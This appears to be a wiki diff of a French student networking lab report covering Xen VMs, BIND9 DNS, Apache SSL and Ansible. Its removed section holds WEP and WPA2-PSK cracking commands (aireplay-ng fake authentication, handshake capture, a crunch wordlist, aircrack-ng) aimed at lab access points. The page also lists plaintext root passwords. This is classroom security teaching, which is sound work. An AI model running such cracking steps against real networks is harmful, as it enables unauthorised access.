TP sysres IMA5 2021/2022 G9 : Différence entre versions

De Wiki d'activités IMA
(TP ASR)
 
(102 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 1 : Ligne 1 :
Wiki compte-rendu de TP PRA - Alvaro et Khalil
+
TP PRA - Alvaro et Khalil
  
 
= Sujet =
 
= Sujet =
Ligne 8 : Ligne 8 :
 
= 1. Configuration du Réseau physique =  
 
= 1. Configuration du Réseau physique =  
  
 
+
[insérer image]
  
 
=Plan d'adressage=
 
=Plan d'adressage=
Ligne 31 : Ligne 31 :
 
| Mel / Theo || 07 || 10.07.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol ||  
 
| Mel / Theo || 07 || 10.07.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol ||  
 
|-
 
|-
| Khalil / Alvare || 08 || 10.08.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys ||  
+
| Khalil / Alvaro || 08 || 10.08.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys || godless
 
|-
 
|-
 
| SOuleyman / Enoch || 09 || 10.09.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit ||  
 
| SOuleyman / Enoch || 09 || 10.09.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit ||  
Ligne 180 : Ligne 180 :
 
= 3. Configuration des Machines Virtuelles =
 
= 3. Configuration des Machines Virtuelles =
  
On se connecte en ssh à capbreton :
+
Nous nous connectons en ssh à capbreton :
 
  ssh root@capbreton
 
  ssh root@capbreton
  
Ligne 186 : Ligne 186 :
 
  export http_proxy=http://proxy.plil.fr:3128
 
  export http_proxy=http://proxy.plil.fr:3128
  
Nous procédons ensuite la création de la machine virtuelle, pour cela nous allons saisir les informations suivantes: le nom de la machine (ici Paixdieu), l'adresse IP (--ip) qui nous a été fourni durant la répartition des IP, l'adresse IP du routeur de la salle E306  (--gateway) et le masque du réseau correspondant à un /28 (--netmask) (le /27 étant divisé entre les deux classes), l'emplacement de nos disques virtuels (--dir), le mot de passe de la machine virtuel (---password) puis le type de distribution souhaitée, ici nous avons choisi Debian Bullseye (--dist).
+
Nous procédons ensuite la création de la machine virtuelle, pour cela nous allons saisir les informations suivantes: le nom de la machine (ici godless), l'adresse IP (--ip) qui nous a été fourni durant la répartition des IP, l'adresse IP du routeur de la salle E306  (--gateway) et le masque du réseau correspondant à un /28 (--netmask) (le /27 étant divisé entre les deux classes), l'emplacement de nos disques virtuels (--dir), le mot de passe de la machine virtuel (---password) puis le type de distribution souhaitée, ici nous avons choisi Debian Bullseye (--dist).
  xen-create-image --hostname=Paixdieu --ip=193.48.57.177 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
+
  xen-create-image --hostname=Godless --ip=193.48.57.184 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye
  
 
Ensuite, nous avons créé deux LV, chacun de 10 Go sur le groupe de volume de stockage:
 
Ensuite, nous avons créé deux LV, chacun de 10 Go sur le groupe de volume de stockage:
  lvcreate -L10G -n Paixdieu1 storage
+
  lvcreate -L10G -n Godless1 storage
  lvcreate -L10G -n Paixdieu2 storage
+
  lvcreate -L10G -n Godless2 storage
  
 
Puis nous les avons formatés au format ext4 de la manière suivante:
 
Puis nous les avons formatés au format ext4 de la manière suivante:
  mkfs.ext4 /dev/storage/Paixdieu1
+
  mkfs.ext4 /dev/storage/Godless1
  mkfs.ext4 /dev/storage/Paixdieu2
+
  mkfs.ext4 /dev/storage/Godless2
  
nous modifions ensuite notre fichier "/etc/xen/Paixdieu.cfg" pour préciser l'ajout les volumes logiques Paixdieu1 et Paixdieu2, de plus on ajoute le bridge IMA5sc dans la fonction vif.
+
nous modifions ensuite notre fichier "/etc/xen/Godless.cfg" pour préciser l'ajout les volumes logiques godless1 et godless2, de plus on ajoute le bridge IMA5sc dans la fonction vif.
 
Pour cela on ajoute les lignes suivantes:
 
Pour cela on ajoute les lignes suivantes:
 
  #
 
  #
Ligne 204 : Ligne 204 :
 
  root        = '/dev/xvda2 ro'
 
  root        = '/dev/xvda2 ro'
 
  disk        = [
 
  disk        = [
                   'file:/usr/local/xen/domains/Paixdieu/disk.img,xvda2,w',
+
                   'file:/usr/local/xen/domains/Godless/disk.img,xvda2,w',
                   'file:/usr/local/xen/domains/Paixdieu/swap.img,xvda1,w',
+
                   'file:/usr/local/xen/domains/Godless/swap.img,xvda1,w',
     ''''phy:/dev/storage/Paixdieu1,xvda3,w','''
+
     ''''phy:/dev/storage/Godless1,xvda3,w','''
     ''''phy:/dev/storage/Paixdieu2,xvda4,w''''
+
     ''''phy:/dev/storage/Godless2,xvda4,w''''
 
               ]
 
               ]
 
   
 
   
Ligne 219 : Ligne 219 :
 
  #  Hostname
 
  #  Hostname
 
  #
 
  #
  name        = 'Paixdieu'
+
  name        = 'Godless'
 
   
 
   
 
  #
 
  #
 
  #  Networking
 
  #  Networking
 
  #
 
  #
  vif        = [ 'ip=193.48.57.177 ,mac=00:16:3E:95:13:AE ,'''bridge=IMA5sc'''' ]
+
  vif        = [ 'ip=193.48.57.184 ,mac=00:16:3E:4C:B6:AD ,'''bridge=IMA5sc'''' ]
  
Nous lancons la machine virtuelle:
+
La machine virtuelle:
  xl create -c /etc/xen/Paixdieu.cfg
+
  xl create -c /etc/xen/godless.cfg
  
 
Nous ajoutons les répertoires liés à xvda3 et vxda4 pour y placer /home et /var:
 
Nous ajoutons les répertoires liés à xvda3 et vxda4 pour y placer /home et /var:
Ligne 246 : Ligne 246 :
 
  '''/dev/xvda4 /var ext4 defaults 0 2'''
 
  '''/dev/xvda4 /var ext4 defaults 0 2'''
  
Puis nous lancons la commande de montage:
+
Commande de montage:
 
  mount -a
 
  mount -a
  
Nous obtenons les partitions suivantes:
+
Partitions:
 
  '''lsblk'''
 
  '''lsblk'''
 
   
 
   
Ligne 269 : Ligne 269 :
 
  auto eth0
 
  auto eth0
 
  iface eth0 inet static
 
  iface eth0 inet static
  address 193.48.57.177
+
  address 193.48.57.184
  gateway 193.48.57.188
+
  gateway 193.48.57.190
 
  netmask 255.255.255.240
 
  netmask 255.255.255.240
 
  '''iface eth0 inet6 auto'''  
 
  '''iface eth0 inet6 auto'''  
Ligne 282 : Ligne 282 :
 
Nous effectuons les commandes suivantes pour appliquer les changements:
 
Nous effectuons les commandes suivantes pour appliquer les changements:
 
  systemctl restart networking
 
  systemctl restart networking
  ip a
+
  ip
  
Et nous obtenons les résultats comme ça:
+
Pour quitter de la VM: '''CTRL + ['''
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
 
    inet 127.0.0.1/8 scope host lo
 
      valid_lft forever preferred_lft forever
 
    inet6 ::1/128 scope host
 
      valid_lft forever preferred_lft forever
 
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
 
    link/ether 00:16:3e:95:13:ae brd ff:ff:ff:ff:ff:ff
 
    inet 193.48.57.177/28 brd 193.48.57.191 scope global eth0
 
      valid_lft forever preferred_lft forever
 
    inet6 2001:7a8:116e:60b0:216:3eff:fe95:13ae/64 scope global dynamic mngtmpaddr
 
      valid_lft 2591995sec preferred_lft 604795sec
 
    inet6 fe80::216:3eff:fe95:13ae/64 scope link
 
      valid_lft forever preferred_lft forever
 
  
Puis nous quittons la VM avec '''CTRL + ['''
+
Pour retourner:
 +
xen console Godless
  
Pour y retourner:
+
Pour retourner sur la machine virtuelle, nous utilisons :  
xen console Paixdieu
 
 
 
Pour retourner sur sa machine virtuelle, il faut :  
 
  
 
- retourner sur capbreton
 
- retourner sur capbreton
 
  ssh root@capbreton
 
  ssh root@capbreton
- Relancer la VM (login : root | password : glopglopglop):
+
- Relancer la VM (login : root | password : pasglop):
  xl create -c /etc/xen/Paixdieu.cfg
+
  xl create -c /etc/xen/Godless.cfg
 +
 
 +
xen list
 +
//Machine virtuelle detectée et accessible (Name: Godless - ID: 90)
 +
 
 +
= Service Internet =
  
= 4. Architecture réseau =
+
== Serveur DNS ==
  
== L'architecture générale ==
+
Vous allez réserver votre nom de domaine pour associer un nom DNS à chacune de vos adresses IP (les zones inverses doivent, elles aussi, être gérées). Il est suggéré d’utiliser le registrar Gandi (http://www.gandi.net). Une fois le nom de domaine reservé, configurez bind (paquetage bind9) sur votre serveur virtuel Xen pour donner les adresses IPv4 et IPv6 correspondant à vos noms de machines. Utilisez l’interface web de votre fournisseur pour paramétrer votre machine comme serveur DNS principal. Créez une machine virtuelle EC2 d’amazon pour servir de serveur DNS secondaire. Vous pouvez utiliser ns6.gandi.net comme autre serveur secondaire.
[[Fichier:Pra diagrams.png]]
 
  
== Les réseaux virtuels ==
+
Par la suite mettez en place vos zones inverses qui permettent de trouver vos noms en fonction de vos adresses IP. Pour l’instant ce n’est possible que pour les adresses IPv6 de la connexion SDSL secondaire. Demander aux encadrants pour réaliser les délégations vers vos serveurs DNS.
  
== Le routage du site (IPv4) ==
+
=== Domaine Utilisé: ===
  
 +
godlessglopyglopglopy.club
  
== Le routage du site (IPv6) ==
+
Glue Record crée:
[insérer résumé]
 
  
== Tests d'intrusion ==
+
ns1.godlessglopyglopglopy.club
'''5.2 Cassage de clef WEP d’un point d’accès WiFi'''
+
193.48.57.184
  
Pendant que l'infrastructure réseau était en train d'être configurée, nous avons testé de casser une clé wep.
+
===Instalation BIND9 ===
  
Commandes réalisées sur un eeePC sous Linux :
+
apt-get install bind9 dnsutils
  
Récupération du nom de l'interface réseau WiFi du eeePC:
+
Et aussi:
 +
apt-get install openssh-server
  
  ip a
+
Nous avons modifié <code>/etc/ssh/sshd_config</code> en supprimant les commentaires:
 +
  PermitRootLogin without-password
 +
PubkeyAuthentication yes
  
On trouve : '''wlx40a5ef0f68cb'''
+
Redémarrer SSH Service:
 +
systemctl reload ssh
  
Mettre la carte réseau WiFi en mode monitor sur le channel 4:
+
Sur la zabeth (machine physique):
 +
ssh-keygen -t ed25519
  
airmon-ng start wlx40a5ef0f68cb 4
+
On copie la clé publique que l'on vient de générer pour la coller dans le fichier <code>/.shh/authorized_keys</code> de la VM.
 +
Nous nous connectons à la machine virtuelle directement en ssh grâce à la commande :
  
Après cette étape, il est possible que la carte réseau soit renommée par airmon-ng en wlan0mon.
+
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.184
  
Vérification que celle-ci est bien en mode monitor :
+
=== Configuration BIND9 ===
  
  iwconfig
+
==== Configuration ====
 +
 
 +
  // If you are just adding zones, please do that in /etc/bind/named.conf.local
 +
 +
include "/etc/bind/named.conf.options";
 +
include "/etc/bind/named.conf.local";
 +
include "/etc/bind/named.conf.default-zones";
 +
 
 +
Ficher de configuration (include "/etc/bind/named.conf.local";)
 +
C'est dans ce fichier que se trouverons nos déclarations de zones.
 +
 
 +
/etc/bind/named.config.options
 +
allow-recursion{ 127.0.0.1 };
 +
 
 +
===== Déclaration des Zones =====
 +
 
 +
Nous avons posé notre déclaration de zone dans le fichier <code>/etc/bind/named.config.local </code>
 +
 
 +
//Zone de resolution de domaine de godlessglopyglopglopy.club
 +
 
 +
zone "godlessglopyglopglopy.club" IN {
 +
type master;
 +
file "/etc/bind/db.godlessglopyglopglopy.club";
 +
 +
//Autorisation pour transferer sur l'IP
 +
 +
allow-transfer{
 +
217.70.184.38;
 +
};
 +
 +
/*
 +
also-notify{
 +
217.70.184.38;
 +
217.70.177.40;
 +
};
 +
notify yes; //notification aux serveurs esclaves quand une zone est mise a jour
 +
*/
 +
 
 +
Alors, nous creons <code>/etc/bind/db.godlessglopyglopglopy.club</code> par la résolution de zone:
 +
 
 +
$Sttl    604800
 +
@      IN      SOA    ns1.godlessglopyglopglopy.club postmaster.godlessglopyglopglopy.club. (
 +
                              4 ; Serial
 +
                        604800 ; Refresh
 +
                          86400 ; Retry
 +
                        2419200 ; Expire
 +
                        604800); Negative Cache TTL
 +
;
 +
@        IN      NS      ns1.godlessglopyglopglopy.club.
 +
@        IN      NS      ns6.gandi.net.
 +
ns1      IN      A      193.48.57.184
 +
 
 +
===== Test =====
 +
 
 +
1) Nous avons testé le domaine en utilisant dig pour l'interroger:
 +
dig -x godlessglopyglopgloppy.club
 +
dig -x ns1.godlessglopyglopgloppy.club
 +
 
 +
2) Nous avons testé la configuration BIND9:
 +
 
 +
host -t any ns1.godlessglopyglopglopy.club localhost
 +
 +
Résultat:
 +
ns1.godlessglopyglopglopy.club has address 193.48.57.184
  
Ecouter les beacon WiFi sur cette carte réseau :
+
==== Création du certificat SSL ====
  
airodump-ng wlan0mon
+
1.Génération de nos clés assymétriques
  
 +
root@Godless:/etc/ssl/private# openssl req -nodes -newkey rsa:2048 -sha256 -keyout godlessglopyglopglopy.club.key -out godlessglopyglopglopy.club.csr
  
De cette écoute , nous choisissons l'AP nommé '''cracotte09'''  avec le BSSID  : '''04:DA:D2:9C:50:58'''
+
2. achat du certificat ssl sur gandi.net, vérification du csr qu'on a généré
  
Nous simulons l'authentification sur cet AP :
+
3. On télécharge le certificat après validation sur gandi, on le déplace via la commande scp (ssh)  dans le répertoire  /etc/ssl/certs/
  
aireplay-ng -9 -e cracotte09 -a 04:DA:D2:9C:50:58' wlan0mon
+
=== Configuration Apache ===
  
-9 : mode injection
+
1. Création/Configuration du fichier de configuration /etc/apache2/sites-available/godlessglopyglopglopy.conf
-e cracotte09 : nom du point d'accès
 
-a 04:DA:D2:9C:50:58 : bssid du point d'accès
 
  
Nous récupérons ensuite un nombre de frames conséquent émis par cet access point :
+
<VirtualHost 193.48.57.184:443>
 +
        ServerName godlessglopyglopglopy.club
 +
        ServerAlias ns1.godlessglopyglopglopy.club
 +
        DocumentRoot "/var/www/godlessglopyglopglopy.club."
  
  aireplay-ng -1 0 -e cracotte09 -a 04:DA:D2:9C:50:58 -h 40:A5:EF:01:28:D0 wlan0mon
+
        SSLEngine on
 +
        SSLCertificateKeyFile /etc/ssl/private/godlessglopyglopglopy.club.key
 +
        SSLCertificateChainFile /etc/ssl/certs/godlessglopyglopglopy.club.crt
 +
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem
 +
        ErrorLog /var/log/apache2/error.godlessglopyglopglopy.club.log
 +
        CustomLog /var/log/apache2/access.godlessglopyglopglopy.club.log combined
 +
  </VirtualHost>
  
-1 : mode "fake authentification"
+
2. activation du site avec la commande:
0 : délai entre les demandes d'authentifications
 
-h 40:A5:EF:01:27:D0 : bssid de l'interface réseau
 
  
Résultat :
+
a2ensite godlessglopyglopglopy.club
  
[[Fichier:Key_name.png|center|thumb|500px|Branchements duu eeee PC]]
+
3. Activation du module ssl
  
'''5.3 Cassage de clef WPA2-PSK d’un point d’accès WiFi'''
+
a2enmod ssl
  
Maintenant nous choisissions kracotte5 comme victime à l'aide du groupe de commande précédentes, c'est à dire :
+
4. modification du fichier apache.conf pour Gérer la redirection vers notre page web qui se situe /var/www/godlessglopyglopglopy.club. on recharge ensuite la configuration d'Apache :
  
  airmon-ng start wlx40a5ef0f68cb 4
+
  sudo systemctl reload apache2
  
airodump-ng wlan0mon
+
= TP ASR =
  
Une fois que nous avons trouvé la victime (kracotte 5 ainsi que son BSSID), nous tentons de récupérer un handshake provenant de ce point d'accès et nous le stockons dans un fichier psk :
+
- On modifie tout d'abord le fichier inventory en renseignant notre nom et l'adresse ip de notre VM pra-09:
  
  airodump-ng -c 4 --bssid 44:AD:D9:5F:87:04 -w psk wlan0mon
+
  pra-09 ansible_ssh_host="172.26.145.109"
  
Nous installons ensuite un utilitaire pour générer le dictionnaire de clé WPA2-PSK qui sera utilisé par aircrack-ng pour se connecter au point d'accès wifi kracotte5 :
+
- Nous générons une clé ssh à l'aide de la commande suivante:
  
  apt-get install crunch
+
  ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "aelhassa@polytech-lille.net" -P
  
Pour installer cette utilitaire nous pouvons relier l'eeePc au réseau de l'école à l'aide du deuxième câble ethernet disponnible à l'arrière des zabeth :
+
- que nous renseignons dans /root/.ssh/authorized_keys de notre VM. Cette clé va nous permettre ainsi de nous connecter à notre VM avec ANSIBLE.
  
 +
- On renseigne ensuite le hostname de notre machine virtuelle dans le fichier host_vars/pra-09.yaml
  
[[Fichier:branchement_eee_pc.png|center|thumb|500px|Branchements duu eeee PC]]
+
  hostname: pra-09
 +
  bar:
 +
    baz: 42
  
 +
- Pour fonctionner, ansible a besoin de Python 3 que nous installons préalablement sur la zabeth et notre VM PRA-09.
  
Une fois installé nous pouvons générer le dictionnaire :
+
Nous installons ensuite ansible avec les commandes suivantes :
crunch 8 8 0123456789 -o password.lst
 
  
Une fois généré, nous pouvons lancer la précédure de crackage (qui peut être très longue) :
+
$ python3 -m venv ~/env-ansible
 +
$ . ~/env-ansible/bin/activate
 +
$ pip3 install -U setuptools wheel
 +
$ pip3 install -U ansible
  
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:04 psk*.cap
+
- Puis on lance la commande :
  
[[Fichier:Crackage_wpa.png|center|thumb|500px|Crackage WPA]]
+
$ ansible-playbook -v -i inventory polytech.yaml

Version actuelle datée du 13 janvier 2022 à 17:58

TP PRA - Alvaro et Khalil

Sujet

L'objectif de ce TP est de créer un réseau redondé Lien : https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/

1. Configuration du Réseau physique

[insérer image]

Plan d'adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4 6509E (E304) IPv4 C9200 (E306) IPv4 ISR4331 (SR52) SSID VM
Andrei / Julien 10 10.00.0.0/16 2001:7A8:116E:60B0::0/64 10.00.0.250 10.00.0.251 10.00.0.252 10.00.0.253 Jonquille Kronenbourg
Robin / Aviran 01 10.01.0.0/16 2001:7A8:116E:60B0::0/64 10.01.0.250 10.01.0.251 10.01.0.252 10.01.0.253 Marguerite Paixdieu
Axel / Guillaume 02 10.02.0.0/16 2001:7A8:116E:60B0::0/64 10.02.0.250 10.02.0.251 10.02.0.252 10.02.0.253 Pensee Kasteel
Selim / Raphael 03 10.03.0.0/16 2001:7A8:116E:60B0::0/64 10.04.0.250 10.03.0.251 10.03.0.252 10.03.0.253 Lavende Karmeliet
Helene / Camille 04 10.04.0.0/16 2001:7A8:116E:60B0::0/64 10.03.0.250 10.04.0.251 10.04.0.252 10.04.0.253 Tulipe  
Boris / Louis 05 10.05.0.0/16 2001:7A8:116E:60B0::0/64 10.05.0.250 10.05.0.251 10.05.0.252 10.05.0.253 Rose Bellerose
Johnny / Arthur 06 10.06.0.0/16 2001:7A8:116E:60B0::0/64 10.06.0.250 10.06.0.251 10.06.0.252 10.06.0.253 Orchidee Anosteke
Mel / Theo 07 10.07.0.0/16 2001:7A8:116E:60B0::0/64 10.07.0.250 10.07.0.251 10.07.0.252 10.07.0.253 Tournesol  
Khalil / Alvaro 08 10.08.0.0/16 2001:7A8:116E:60B0::0/64 10.08.0.250 10.08.0.251 10.08.0.252 10.08.0.253 Lys godless
SOuleyman / Enoch 09 10.09.0.0/16 2001:7A8:116E:60B0::0/64 10.09.0.250 10.09.0.251 10.09.0.252 10.09.0.253 Pissenlit  
Clement 110 10.10.0.0/16 2001:7A8:116E:60B0::0/64 10.10.0.250 10.10.0.251 10.10.0.252 10.10.0.253 Coquelicot  

Table du VLAN 42

Groupe @IPv4 MV @IPv6 MV (auto)
Andrei / Julien 193.48.57.176  
Robin / Aviran 193.48.57.177  
Axel / Guillaume 193.48.57.178  
Selim / Raphael 193.48.57.179  
Helene / Camille 193.48.57.180  
Boris / Louis 193.48.57.181  
Johnny / Arthur 193.48.57.182  
Mel / Theo 193.48.57.183  
Khalil / Alvaro 193.48.57.184  
SOuleyman / Enoch 193.48.57.185  
Clement 193.48.57.186  

Note :

à compléter

Entité Élève Domaine 193.48.57.176/28 10.60.0.0/16 2001:660:4401:60B0::/60 2001:7A8:116E:60B0::/60 VLAN VLAN WIFI N° VRRP SSID n°1 SSID n°2
ROUTEUR E304 193.48.57.187  :: :F0  :: :F0 10.NN.00.250
ROUTEUR E306 193.48.57.188  :: :F1  :: :F1 10.NN.00.251
ROUTEUR SR52 193.48.57.189  :: :F2  :: :F2 10.NN.00.252
ROUTEUR FLOTTANTE 193.48.57.190  :: :F3  :: :F3 10.NN.00.253
Vlan INTERCO 531 INTERCO-SA 192.168.222.40/29 fe80::/10  ::1 fe80::/10  ::1 10.NN.00.253
Vlan INTERCO E304 192.168.222.42/29 fe80::/10  ::1 fe80::/10  ::1
Vlan INTERCO E306 192.168.222.43/29 fe80::/10  ::2 fe80::/10  ::2
Vlan INTERCO SR53 192.168.222.44/29 fe80::/10  ::3 fe80::/10  ::3


  • Plan d'adressage IPv4 :
VLAN Nom Réseau IPv4 Cisco 6509-E Cisco 9200 Cisco ISR 4331 Routeur plateforme maths/info PA Wifi n°1 PA Wifi n°2
  • Plan d'adressage IPv6 :
VLAN Nom Réseau IPv6 Cisco 6509-E Cisco 9200 Cisco ISR 4331 Routeur plateforme maths/info PA Wifi n°1 PA Wifi n°2

3. Configuration des Machines Virtuelles

Nous nous connectons en ssh à capbreton :

ssh root@capbreton

Nous incluons le proxy de polytech dans nos variables d'environnement:

export http_proxy=http://proxy.plil.fr:3128

Nous procédons ensuite la création de la machine virtuelle, pour cela nous allons saisir les informations suivantes: le nom de la machine (ici godless), l'adresse IP (--ip) qui nous a été fourni durant la répartition des IP, l'adresse IP du routeur de la salle E306 (--gateway) et le masque du réseau correspondant à un /28 (--netmask) (le /27 étant divisé entre les deux classes), l'emplacement de nos disques virtuels (--dir), le mot de passe de la machine virtuel (---password) puis le type de distribution souhaitée, ici nous avons choisi Debian Bullseye (--dist).

xen-create-image --hostname=Godless --ip=193.48.57.184 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye

Ensuite, nous avons créé deux LV, chacun de 10 Go sur le groupe de volume de stockage:

lvcreate -L10G -n Godless1 storage
lvcreate -L10G -n Godless2 storage

Puis nous les avons formatés au format ext4 de la manière suivante:

mkfs.ext4 /dev/storage/Godless1
mkfs.ext4 /dev/storage/Godless2

nous modifions ensuite notre fichier "/etc/xen/Godless.cfg" pour préciser l'ajout les volumes logiques godless1 et godless2, de plus on ajoute le bridge IMA5sc dans la fonction vif. Pour cela on ajoute les lignes suivantes:

#
#  Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Godless/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Godless/swap.img,xvda1,w',
 		  'phy:/dev/storage/Godless1,xvda3,w',
 		  'phy:/dev/storage/Godless2,xvda4,w'
             ]


#
#  Physical volumes
#


#
#  Hostname
#
name        = 'Godless'

#
#  Networking
#
vif         = [ 'ip=193.48.57.184 ,mac=00:16:3E:4C:B6:AD ,bridge=IMA5sc' ]

La machine virtuelle:

xl create -c /etc/xen/godless.cfg

Nous ajoutons les répertoires liés à xvda3 et vxda4 pour y placer /home et /var:

mkdir /mnt/xvda3
mkdir /mnt/xvda4
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4

Nous y déplaçons le répertoire /var/ dans xvda4:

mv /var/* /mnt/xvda4

Pour monter les disques, nous modifions les lignes suivantes dans /etc/fstab:

proc            /proc           proc    defaults        0       0
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Commande de montage:

mount -a

Partitions:

lsblk

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

Pour finir nous activons l'IPv6 dans l'interface en ajoutant les lignes suivantes dans /etc/network/interfaces:

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
 
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
gateway 193.48.57.190
netmask 255.255.255.240
iface eth0 inet6 auto 

# post-up  ethtool -K eth0 tx off

#
# The commented out line above will disable TCP checksumming which
# might resolve problems for some users.  It is disabled by default

Nous effectuons les commandes suivantes pour appliquer les changements:

systemctl restart networking
ip

Pour quitter de la VM: CTRL + [

Pour retourner:

xen console Godless

Pour retourner sur la machine virtuelle, nous utilisons :

- retourner sur capbreton

ssh root@capbreton

- Relancer la VM (login : root | password : pasglop):

xl create -c /etc/xen/Godless.cfg
xen list
//Machine virtuelle detectée et accessible (Name: Godless - ID: 90)

Service Internet

Serveur DNS

Vous allez réserver votre nom de domaine pour associer un nom DNS à chacune de vos adresses IP (les zones inverses doivent, elles aussi, être gérées). Il est suggéré d’utiliser le registrar Gandi (http://www.gandi.net). Une fois le nom de domaine reservé, configurez bind (paquetage bind9) sur votre serveur virtuel Xen pour donner les adresses IPv4 et IPv6 correspondant à vos noms de machines. Utilisez l’interface web de votre fournisseur pour paramétrer votre machine comme serveur DNS principal. Créez une machine virtuelle EC2 d’amazon pour servir de serveur DNS secondaire. Vous pouvez utiliser ns6.gandi.net comme autre serveur secondaire.

Par la suite mettez en place vos zones inverses qui permettent de trouver vos noms en fonction de vos adresses IP. Pour l’instant ce n’est possible que pour les adresses IPv6 de la connexion SDSL secondaire. Demander aux encadrants pour réaliser les délégations vers vos serveurs DNS.

Domaine Utilisé:

godlessglopyglopglopy.club

Glue Record crée:

ns1.godlessglopyglopglopy.club
193.48.57.184

Instalation BIND9

apt-get install bind9 dnsutils

Et aussi:

apt-get install openssh-server

Nous avons modifié /etc/ssh/sshd_config en supprimant les commentaires:

PermitRootLogin without-password
PubkeyAuthentication yes

Redémarrer SSH Service:

systemctl reload ssh

Sur la zabeth (machine physique):

ssh-keygen -t ed25519

On copie la clé publique que l'on vient de générer pour la coller dans le fichier /.shh/authorized_keys de la VM. Nous nous connectons à la machine virtuelle directement en ssh grâce à la commande :

ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.184

Configuration BIND9

Configuration

// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

Ficher de configuration (include "/etc/bind/named.conf.local";) C'est dans ce fichier que se trouverons nos déclarations de zones.

/etc/bind/named.config.options
allow-recursion{ 127.0.0.1 };
Déclaration des Zones

Nous avons posé notre déclaration de zone dans le fichier /etc/bind/named.config.local

//Zone de resolution de domaine de godlessglopyglopglopy.club
  
zone "godlessglopyglopglopy.club" IN { 
type master;
file "/etc/bind/db.godlessglopyglopglopy.club";

//Autorisation pour transferer sur l'IP

allow-transfer{ 
217.70.184.38; 
};

/*
also-notify{ 
217.70.184.38;
217.70.177.40;
};
notify yes; //notification aux serveurs esclaves quand une zone est mise a jour
*/

Alors, nous creons /etc/bind/db.godlessglopyglopglopy.club par la résolution de zone:

$Sttl    604800
@       IN      SOA     ns1.godlessglopyglopglopy.club postmaster.godlessglopyglopglopy.club. (
                             4 ; Serial
                        604800 ; Refresh
                         86400 ; Retry
                       2419200 ; Expire
                        604800); Negative Cache TTL
;
@         IN      NS      ns1.godlessglopyglopglopy.club.
@         IN      NS      ns6.gandi.net.
ns1       IN      A       193.48.57.184
Test

1) Nous avons testé le domaine en utilisant dig pour l'interroger:

dig -x godlessglopyglopgloppy.club
dig -x ns1.godlessglopyglopgloppy.club

2) Nous avons testé la configuration BIND9:

host -t any ns1.godlessglopyglopglopy.club localhost

Résultat:

ns1.godlessglopyglopglopy.club has address 193.48.57.184

Création du certificat SSL

1.Génération de nos clés assymétriques

root@Godless:/etc/ssl/private# openssl req -nodes -newkey rsa:2048 -sha256 -keyout godlessglopyglopglopy.club.key -out godlessglopyglopglopy.club.csr

2. achat du certificat ssl sur gandi.net, vérification du csr qu'on a généré

3. On télécharge le certificat après validation sur gandi, on le déplace via la commande scp (ssh) dans le répertoire /etc/ssl/certs/

Configuration Apache

1. Création/Configuration du fichier de configuration /etc/apache2/sites-available/godlessglopyglopglopy.conf

<VirtualHost 193.48.57.184:443>
        ServerName godlessglopyglopglopy.club
        ServerAlias ns1.godlessglopyglopglopy.club
        DocumentRoot "/var/www/godlessglopyglopglopy.club."
        SSLEngine on
        SSLCertificateKeyFile /etc/ssl/private/godlessglopyglopglopy.club.key
        SSLCertificateChainFile /etc/ssl/certs/godlessglopyglopglopy.club.crt
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem
        ErrorLog /var/log/apache2/error.godlessglopyglopglopy.club.log
        CustomLog /var/log/apache2/access.godlessglopyglopglopy.club.log combined
</VirtualHost>

2. activation du site avec la commande:

a2ensite godlessglopyglopglopy.club

3. Activation du module ssl

a2enmod ssl

4. modification du fichier apache.conf pour Gérer la redirection vers notre page web qui se situe /var/www/godlessglopyglopglopy.club. on recharge ensuite la configuration d'Apache :

sudo systemctl reload apache2

TP ASR

